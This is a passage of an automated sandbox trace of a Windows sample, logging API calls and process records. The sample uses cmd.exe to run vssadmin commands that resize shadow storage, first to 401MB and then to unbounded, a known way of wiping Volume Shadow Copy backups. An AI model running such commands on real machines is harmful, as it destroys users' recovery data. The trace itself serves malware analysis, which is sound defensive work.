	[0074.499] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin  resize shadowstorage /for=f: /on=f: /maxsize=401MB", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x6ff130*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin  resize shadowstorage /for=f: /on=f: /maxsize=401MB", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x6ff17c | out: lpCommandLine="vssadmin  resize shadowstorage /for=f: /on=f: /maxsize=401MB", lpProcessInformation=0x6ff17c*(hProcess=0xe0, hThread=0xdc, dwProcessId=0xdbc, dwThreadId=0xac8)) returned 1
	[0074.515] CloseHandle (hObject=0xdc) returned 1
	[0074.515] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0074.515] GetProcessHeap () returned 0x720000
	[0074.515] RtlFreeHeap (HeapHandle=0x720000, Flags=0x0, BaseAddress=0x726c48) returned 1
	[0074.516] GetEnvironmentStringsW () returned 0x726c48*
	[0074.516] GetProcessHeap () returned 0x720000
	[0074.516] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0xb1a) returned 0x724bc0
	[0074.516] FreeEnvironmentStringsA (penv="=") returned 1
	[0074.516] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0
	[0074.787] GetExitCodeProcess (in: hProcess=0xe0, lpExitCode=0x6ff114 | out: lpExitCode=0x6ff114*=0x2) returned 1
	[0074.787] CloseHandle (hObject=0xe0) returned 1
	[0074.787] _vsnwprintf (in: _Buffer=0x6ff1fc, _BufferCount=0x13, _Format="%08X", _ArgList=0x6ff11c | out: _Buffer="00000002") returned 8
	[0074.787] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1
	[0074.788] GetProcessHeap () returned 0x720000
	[0074.788] RtlFreeHeap (HeapHandle=0x720000, Flags=0x0, BaseAddress=0x724bc0) returned 1
	[0074.788] GetEnvironmentStringsW () returned 0x728170*
	[0074.788] GetProcessHeap () returned 0x720000
	[0074.788] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0xb40) returned 0x724bc0
	[0074.788] FreeEnvironmentStringsA (penv="=") returned 1
	[0074.789] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0074.789] GetProcessHeap () returned 0x720000
	[0074.789] RtlFreeHeap (HeapHandle=0x720000, Flags=0x0, BaseAddress=0x724bc0) returned 1
	[0074.789] GetEnvironmentStringsW () returned 0x728170*
	[0074.789] GetProcessHeap () returned 0x720000
	[0074.789] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0xb40) returned 0x724bc0
	[0074.789] FreeEnvironmentStringsA (penv="=") returned 1
	[0074.789] GetProcessHeap () returned 0x720000
	[0074.789] RtlFreeHeap (HeapHandle=0x720000, Flags=0x0, BaseAddress=0x727ff0) returned 1
	[0074.789] DeleteProcThreadAttributeList (in: lpAttributeList=0x6ff1a8 | out: lpAttributeList=0x6ff1a8) 
	[0074.789] ??_V@YAXPAX@Z () returned 0x1
	[0074.789] _get_osfhandle (_FileHandle=1) returned 0x90
	[0074.789] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1
	[0074.795] _get_osfhandle (_FileHandle=1) returned 0x90
	[0074.796] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xba3890 | out: lpMode=0xba3890) returned 1
	[0074.798] _get_osfhandle (_FileHandle=1) returned 0x90
	[0074.798] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1
	[0074.801] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0074.801] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xba3894 | out: lpMode=0xba3894) returned 1
	[0074.802] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0074.802] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1
	[0074.804] SetConsoleInputExeNameW () returned 0x1
	[0074.804] GetConsoleOutputCP () returned 0x1b5
	[0074.807] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xba3850 | out: lpCPInfo=0xba3850) returned 1
	[0074.807] SetThreadUILanguage (LangId=0x0) returned 0x5e0409
	[0074.811] exit (_Code=2) 
	[0074.811] ??_V@YAXPAX@Z () returned 0x1

Thread:
	id = 79
	os_tid = 0xf0


Process:
	id = "24"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0xefb9000"
	os_pid = "0xdf8"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "23"
	os_parent_pid = "0x2c0"
	cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\WINDOWS"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 76
	os_tid = 0x600


Thread:
	id = 77
	os_tid = 0x724


Thread:
	id = 78
	os_tid = 0x7d8


Process:
	id = "25"
	image_name = "vssadmin.exe"
	filename = "c:\\windows\\syswow64\\vssadmin.exe"
	page_root = "0x1b9ce000"
	os_pid = "0xdbc"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "23"
	os_parent_pid = "0x2c0"
	cmd_line = "vssadmin  resize shadowstorage /for=f: /on=f: /maxsize=401MB"
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 80
	os_tid = 0xac8


Thread:
	id = 81
	os_tid = 0xed4


Thread:
	id = 82
	os_tid = 0xf60


Thread:
	id = 83
	os_tid = 0xf54


Thread:
	id = 84
	os_tid = 0xda4


Process:
	id = "26"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x1ba86000"
	os_pid = "0xfe0"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0x13fc"
	cmd_line = "cmd.exe /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded"
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 85
	os_tid = 0x25c

	[0075.065] GetModuleHandleA (lpModuleName=0x0) returned 0xb70000
	[0075.065] __set_app_type (_Type=0x1) 
	[0075.065] __p__fmode () returned 0x77803c14
	[0075.065] __p__commode () returned 0x778049ec
	[0075.065] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xb86fd0) returned 0x0
	[0075.065] __getmainargs (in: _Argc=0xb9d1a4, _Argv=0xb9d1a8, _Env=0xb9d1ac, _DoWildCard=0, _StartInfo=0xb9d1b8 | out: _Argc=0xb9d1a4, _Argv=0xb9d1a8, _Env=0xb9d1ac) returned 0
	[0075.065] _onexit (_Func=0xb88030) returned 0xb88030
	[0075.065] _onexit (_Func=0xb88040) returned 0xb88040
	[0075.065] _onexit (_Func=0xb88050) returned 0xb88050
	[0075.066] _onexit (_Func=0xb88060) returned 0xb88060
	[0075.066] _onexit (_Func=0xb88070) returned 0xb88070
	[0075.066] _onexit (_Func=0xb88080) returned 0xb88080
	[0075.066] GetCurrentThreadId () returned 0x25c
	[0075.066] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x25c) returned 0xbc
	[0075.066] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76750000
	[0075.066] GetProcAddress (hModule=0x76750000, lpProcName="SetThreadUILanguage") returned 0x76764f70
	[0075.067] SetThreadUILanguage (LangId=0x0) returned 0x2dc0409
	[0075.088] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0075.088] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x2f3fed0 | out: phkResult=0x2f3fed0*=0x0) returned 0x2
	[0075.088] VirtualQuery (in: lpAddress=0x2f3fedb, lpBuffer=0x2f3fe88, dwLength=0x1c | out: lpBuffer=0x2f3fe88*(BaseAddress=0x2f3f000, AllocationBase=0x2e40000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0075.088] VirtualQuery (in: lpAddress=0x2e40000, lpBuffer=0x2f3fe88, dwLength=0x1c | out: lpBuffer=0x2f3fe88*(BaseAddress=0x2e40000, AllocationBase=0x2e40000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0075.088] VirtualQuery (in: lpAddress=0x2e41000, lpBuffer=0x2f3fe88, dwLength=0x1c | out: lpBuffer=0x2f3fe88*(BaseAddress=0x2e41000, AllocationBase=0x2e40000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0075.088] VirtualQuery (in: lpAddress=0x2e43000, lpBuffer=0x2f3fe88, dwLength=0x1c | out: lpBuffer=0x2f3fe88*(BaseAddress=0x2e43000, AllocationBase=0x2e40000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0075.088] VirtualQuery (in: lpAddress=0x2f40000, lpBuffer=0x2f3fe88, dwLength=0x1c | out: lpBuffer=0x2f3fe88*(BaseAddress=0x2f40000, AllocationBase=0x2f40000, AllocationProtect=0x2, RegionSize=0xc5000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c
	[0075.088] GetConsoleOutputCP () returned 0x1b5
	[0075.093] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xba3850 | out: lpCPInfo=0xba3850) returned 1
	[0075.094] SetConsoleCtrlHandler (HandlerRoutine=0xb97260, Add=1) returned 1
	[0075.094] _get_osfhandle (_FileHandle=1) returned 0x90
	[0075.094] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xba388c | out: lpMode=0xba388c) returned 1
	[0075.197] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0075.198] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xba3888 | out: lpMode=0xba3888) returned 1
	[0075.291] _get_osfhandle (_FileHandle=1) returned 0x90
	[0075.291] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x0) returned 1
	[0075.385] _get_osfhandle (_FileHandle=1) returned 0x90
	[0075.385] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xba3890 | out: lpMode=0xba3890) returned 1
	[0075.479] _get_osfhandle (_FileHandle=1) returned 0x90
	[0075.479] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1
	[0075.776] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0075.776] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xba3894 | out: lpMode=0xba3894) returned 1
	[0075.817] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0075.817] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1
	[0075.825] GetEnvironmentStringsW () returned 0x31b4bd0*
	[0075.825] GetProcessHeap () returned 0x31b0000
	[0075.825] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0xaca) returned 0x31b56a8
	[0075.825] FreeEnvironmentStringsA (penv="A") returned 1
	[0075.825] GetProcessHeap () returned 0x31b0000
	[0075.825] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0x4) returned 0x31b46b0
	[0075.825] GetEnvironmentStringsW () returned 0x31b4bd0*
	[0075.825] GetProcessHeap () returned 0x31b0000
	[0075.825] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0xaca) returned 0x31b6180
	[0075.825] FreeEnvironmentStringsA (penv="A") returned 1
	[0075.826] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2f3ee2c | out: phkResult=0x2f3ee2c*=0xcc) returned 0x0
	[0075.826] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2f3ee34, lpData=0x2f3ee38, lpcbData=0x2f3ee30*=0x1000 | out: lpType=0x2f3ee34*=0x0, lpData=0x2f3ee38*=0xc5, lpcbData=0x2f3ee30*=0x1000) returned 0x2
	[0075.826] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2f3ee34, lpData=0x2f3ee38, lpcbData=0x2f3ee30*=0x1000 | out: lpType=0x2f3ee34*=0x4, lpData=0x2f3ee38*=0x1, lpcbData=0x2f3ee30*=0x4) returned 0x0
	[0075.826] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2f3ee34, lpData=0x2f3ee38, lpcbData=0x2f3ee30*=0x1000 | out: lpType=0x2f3ee34*=0x0, lpData=0x2f3ee38*=0x1, lpcbData=0x2f3ee30*=0x1000) returned 0x2
	[0075.826] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2f3ee34, lpData=0x2f3ee38, lpcbData=0x2f3ee30*=0x1000 | out: lpType=0x2f3ee34*=0x4, lpData=0x2f3ee38*=0x0, lpcbData=0x2f3ee30*=0x4) returned 0x0
	[0075.826] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2f3ee34, lpData=0x2f3ee38, lpcbData=0x2f3ee30*=0x1000 | out: lpType=0x2f3ee34*=0x4, lpData=0x2f3ee38*=0x40, lpcbData=0x2f3ee30*=0x4) returned 0x0
	[0075.826] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2f3ee34, lpData=0x2f3ee38, lpcbData=0x2f3ee30*=0x1000 | out: lpType=0x2f3ee34*=0x4, lpData=0x2f3ee38*=0x40, lpcbData=0x2f3ee30*=0x4) returned 0x0
	[0075.826] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2f3ee34, lpData=0x2f3ee38, lpcbData=0x2f3ee30*=0x1000 | out: lpType=0x2f3ee34*=0x0, lpData=0x2f3ee38*=0x40, lpcbData=0x2f3ee30*=0x1000) returned 0x2
	[0075.826] RegCloseKey (hKey=0xcc) returned 0x0
	[0075.826] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2f3ee2c | out: phkResult=0x2f3ee2c*=0xcc) returned 0x0
	[0075.826] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2f3ee34, lpData=0x2f3ee38, lpcbData=0x2f3ee30*=0x1000 | out: lpType=0x2f3ee34*=0x0, lpData=0x2f3ee38*=0x40, lpcbData=0x2f3ee30*=0x1000) returned 0x2
	[0075.826] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2f3ee34, lpData=0x2f3ee38, lpcbData=0x2f3ee30*=0x1000 | out: lpType=0x2f3ee34*=0x4, lpData=0x2f3ee38*=0x1, lpcbData=0x2f3ee30*=0x4) returned 0x0
	[0075.826] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2f3ee34, lpData=0x2f3ee38, lpcbData=0x2f3ee30*=0x1000 | out: lpType=0x2f3ee34*=0x0, lpData=0x2f3ee38*=0x1, lpcbData=0x2f3ee30*=0x1000) returned 0x2
	[0075.826] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2f3ee34, lpData=0x2f3ee38, lpcbData=0x2f3ee30*=0x1000 | out: lpType=0x2f3ee34*=0x4, lpData=0x2f3ee38*=0x0, lpcbData=0x2f3ee30*=0x4) returned 0x0
	[0075.826] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2f3ee34, lpData=0x2f3ee38, lpcbData=0x2f3ee30*=0x1000 | out: lpType=0x2f3ee34*=0x4, lpData=0x2f3ee38*=0x9, lpcbData=0x2f3ee30*=0x4) returned 0x0
	[0075.826] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2f3ee34, lpData=0x2f3ee38, lpcbData=0x2f3ee30*=0x1000 | out: lpType=0x2f3ee34*=0x4, lpData=0x2f3ee38*=0x9, lpcbData=0x2f3ee30*=0x4) returned 0x0
	[0075.826] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2f3ee34, lpData=0x2f3ee38, lpcbData=0x2f3ee30*=0x1000 | out: lpType=0x2f3ee34*=0x0, lpData=0x2f3ee38*=0x9, lpcbData=0x2f3ee30*=0x1000) returned 0x2
	[0075.826] RegCloseKey (hKey=0xcc) returned 0x0
	[0075.826] time (in: timer=0x0 | out: timer=0x0) returned 0x5e40e72e
	[0075.826] srand (_Seed=0x5e40e72e) 
	[0075.827] GetCommandLineW () returned="cmd.exe /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded"
	[0075.827] malloc (_Size=0x4000) returned 0x33021f0
	[0075.827] GetCommandLineW () returned="cmd.exe /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded"
	[0075.827] malloc (_Size=0xffce) returned 0x3310048
	[0075.827] ??_V@YAXPAX@Z () returned 0x2f3fe10
	[0075.828] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x3310048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0075.828] malloc (_Size=0xffce) returned 0x3320020
	[0075.828] ??_V@YAXPAX@Z () returned 0x2f3fbe4
	[0075.828] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3320020, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0075.828] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0075.828] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0075.829] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0075.829] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0075.829] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0075.829] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0075.829] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0075.829] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0075.829] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0075.829] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0075.829] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0075.829] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0075.829] GetProcessHeap () returned 0x31b0000
	[0075.829] RtlFreeHeap (HeapHandle=0x31b0000, Flags=0x0, BaseAddress=0x31b56a8) returned 1
	[0075.829] GetEnvironmentStringsW () returned 0x31b4bd0*
	[0075.829] GetProcessHeap () returned 0x31b0000
	[0075.829] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0xae2) returned 0x31b7748
	[0075.829] FreeEnvironmentStringsA (penv="A") returned 1
	[0075.829] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b
	[0075.829] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0075.829] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0075.829] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0075.829] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0075.829] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0075.829] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0075.829] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0075.829] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0075.830] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0075.830] malloc (_Size=0xffce) returned 0x332fff8
	[0075.830] ??_V@YAXPAX@Z () returned 0x2f3f97c
	[0075.830] GetProcessHeap () returned 0x31b0000
	[0075.830] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0x38) returned 0x31b0ae0
	[0075.830] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x332fff8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0075.830] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x332fff8, lpFilePart=0x2f3f9c8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x2f3f9c8*="Desktop") returned 0x17
	[0075.831] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0075.831] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x2f3f748 | out: lpFindFileData=0x2f3f748*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x31b0b20
	[0075.831] FindClose (in: hFindFile=0x31b0b20 | out: hFindFile=0x31b0b20) returned 1
	[0075.831] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x2f3f748 | out: lpFindFileData=0x2f3f748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x31b0b20
	[0075.831] FindClose (in: hFindFile=0x31b0b20 | out: hFindFile=0x31b0b20) returned 1
	[0075.831] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x2f3f748 | out: lpFindFileData=0x2f3f748*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x205eab37, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x205eab37, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x31b0b20
	[0075.832] FindClose (in: hFindFile=0x31b0b20 | out: hFindFile=0x31b0b20) returned 1
	[0075.832] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0075.832] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1
	[0075.832] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1
	[0075.832] GetProcessHeap () returned 0x31b0000
	[0075.832] RtlFreeHeap (HeapHandle=0x31b0000, Flags=0x0, BaseAddress=0x31b7748) returned 1
	[0075.832] GetEnvironmentStringsW () returned 0x31b4bd0*
	[0075.832] GetProcessHeap () returned 0x31b0000
	[0075.832] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0xb1a) returned 0x31b6c58
	[0075.832] FreeEnvironmentStringsA (penv="=") returned 1
	[0075.832] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x3310048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0075.832] GetProcessHeap () returned 0x31b0000
	[0075.832] RtlFreeHeap (HeapHandle=0x31b0000, Flags=0x0, BaseAddress=0x31b0ae0) returned 1
	[0075.832] ??_V@YAXPAX@Z () returned 0x1
	[0075.832] ??_V@YAXPAX@Z () returned 0x1
	[0075.832] GetProcessHeap () returned 0x31b0000
	[0075.832] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0x400e) returned 0x31b8d60
	[0075.832] GetProcessHeap () returned 0x31b0000
	[0075.833] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0x8c) returned 0x31b7780
	[0075.833] GetProcessHeap () returned 0x31b0000
	[0075.833] RtlFreeHeap (HeapHandle=0x31b0000, Flags=0x0, BaseAddress=0x31b8d60) returned 1
	[0075.833] GetConsoleOutputCP () returned 0x1b5
	[0075.907] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xba3850 | out: lpCPInfo=0xba3850) returned 1
	[0075.931] GetUserDefaultLCID () returned 0x409
	[0075.970] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0xb9f82c, cchData=8 | out: lpLCData=":") returned 2
	[0075.970] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x2f3fd38, cchData=128 | out: lpLCData="0") returned 2
	[0075.970] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x2f3fd38, cchData=128 | out: lpLCData="0") returned 2
	[0075.970] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x2f3fd38, cchData=128 | out: lpLCData="1") returned 2
	[0075.970] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0xb9f81c, cchData=8 | out: lpLCData="/") returned 2
	[0075.970] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0xb9f7b8, cchData=32 | out: lpLCData="Mon") returned 4
	[0075.970] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0xb9f778, cchData=32 | out: lpLCData="Tue") returned 4
